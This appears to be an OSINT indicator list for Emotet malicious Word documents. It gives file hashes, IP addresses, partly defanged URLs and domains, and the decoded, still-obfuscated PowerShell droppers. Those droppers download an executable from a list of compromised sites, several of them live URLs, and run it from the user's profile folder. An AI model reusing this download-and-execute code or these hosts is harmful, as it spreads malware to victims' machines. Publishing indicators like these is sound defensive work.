Emotet_Doc_out_2020-09-09_00_21.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
4ea973ca28598a64c32b8e2730d1cd64bd552dae1422638aa0806b7bb527165d
68c5b0b61dcddea7b47c877d02a5d3d308d9753bcfd281a5aac05b1fbf496bf6
1758c8233b795dda6dfd18b1e807adfb07f70ed1e7a75fab66b663d81ea5177f
1758c8233b795dda6dfd18b1e807adfb07f70ed1e7a75fab66b663d81ea5177f
4cadcc2c2f79c2311b46289689294ad17bc22ade70117e0d78b3d838124bd96e
c754a9e20e2c22ff468a1ab9f83d04a5e56f3c75d656fbe67fc15ec6857276eb
c754a9e20e2c22ff468a1ab9f83d04a5e56f3c75d656fbe67fc15ec6857276eb
a7feb70fc3867ed145a59e051b4869480f6afafbc9436c6fb7fbae07155cad73
6cffaf302f33249146288f181c629138504d72143a68e3c79b67c5a9ad8cbf0b
7a571bdfac93a5d054c876fd020668e2700d7c5220404591908b208f5a68d4ad
67f9b719ffd1533656476b1e6f7eb63abe6dd3323f6ad28cc149d3e76750f0a1
ec694d65b8558d8ae93d7dcb5b232189d20440574c9eba95443c19f05de0cd20
f61f0a601ff5c59ec1b55108554619978b88cd832cef5dee74ebbfa64cb8b193
9eae03556e525d06173366c525b5ebe9899a85ef229b3b3d7e43e0fe94f5fd93
15de7545c8d13285e5cb83c314b0f47ad6428d10169a8d82ab09ab7d7b16bef3


IPs:
103.133.215.103
103.197.57.20
139.59.134.225
217.64.195.239
217.76.132.193
217.76.150.106
217.76.150.65
5.77.60.232
69.163.217.214
81.169.145.105
81.169.145.151
81.169.145.73
81.169.145.84
81.169.145.86



URLs:
hxxp://badaia.net/baiaseu/m4G4chJ/
hxxp://bbcalegal.com/attachments/AAyd/
hxxp://compartirwifi.com/WordPress_01/ZAa/."Sp`Lit"[char]42;
hxxp://mezes.de/title_htm_files/Mb/
hxxps://bosonit.com/wp-includes/We/
hxxp://vermasiyaahi.com/wp-content/8/



Domains:
badaia.net
bbcalegal.com
compartirwifi.com
mezes.de
bosonit.com
vermasiyaahi.com


Decoded Base64 Powershell:
$Nv4h9_2=Npfzmmi;
&new-item $env:USerpROfile\l70gE02\KErifx4\ -itemtype diREcToRy;
[Net.ServicePointManager]::"SecuRiT`Y`PROToc`ol" = tls12, tls11, tls;
$Kjlii0z = Lfqgw3;
$Krx83ci=Trd1xfs;
$Jh_l7tr=$env:userprofileVxwL70ge02VxwKerifx4Vxw  -cRePLace  Vxw,[CHAR]92$Kjlii0z.exe;
$Le2xz4b=B8n3agx;
$Urkgo8k=&new-object nET.wEbclient;
$T_gu0xv=http://www.agentstepp.com/ww12/6ZI/
hxxp://badaia.net/baiaseu/m4G4chJ/
http://www.bambagiotti.it/shop/ymwU6/
hxxp://bbcalegal.com/attachments/AAyd/
hxxp://mezes.de/title_htm_files/Mb/
http://computerfastfix.co.uk/css/DXj/
http://sacentrs.lv/wp-content/uploads/2018/Cc/."S`PLIT"[char]42;
$Tao2kc_=H4ohjxw;
foreach$Bfw8bu9 in $T_gu0xv{try{$Urkgo8k."do`wN`Lo`ADfilE"$Bfw8bu9, $Jh_l7tr;
$Yvab7e8=Kx76zrw;
If &Get-Item $Jh_l7tr."l`EnGtH" -ge 31817 {&Invoke-Item$Jh_l7tr;
$M0w23jo=Pn7p62o;
break;
$K5pgv2x=Umyheq5}}catch{}}$Un3z_hg=Q9j3ahv$Sxx24oa=Eqiyls5;
.new-item $enV:USERPRoFIlE\T46Uc61\K4aAAlc\ -itemtype diRecTORy;
[Net.ServicePointManager]::"SEcur`itYpRotO`C`OL" = tls12, tls11, tls;
$Xbqyfgn = Tui29h08;
$N5x7mbw=J_tuw7m;
$Tyhiq8n=$env:userprofile{0}T46uc61{0}K4aaalc{0}-F [cHAr]92$Xbqyfgn.exe;
$Cnwwcn7=Njrdlgs;
$Wqyop_x=.new-object NEt.WebCLIeNt;
$Qttfz2g=http://tskgear.com/wp-content/uploads/2017/NVa/
hxxp://vermasiyaahi.com/wp-content/8/
https://bauzeichnung.com/cgi-bin/8V/
http://bobenstetter.net/cgi-bin/V/
hxxps://bosonit.com/wp-includes/We/
http://chinese-photography.net/books/T7/
hxxp://compartirwifi.com/WordPress_01/ZAa/."Sp`Lit"[char]42;
$S4kvn65=Qz9tl0g;
foreach$Sej_u32 in $Qttfz2g{try{$Wqyop_x."dOwNl`Oa`DFI`le"$Sej_u32, $Tyhiq8n;
$X055ml7=Yzncvty;
If .Get-Item $Tyhiq8n."LEn`gth" -ge 23984 {&Invoke-Item$Tyhiq8n;
$W54w3pj=F_oqnxu;
break;
$Vhmnzlp=Dxzr24d}}catch{}}$Tbqfnce=Okelszv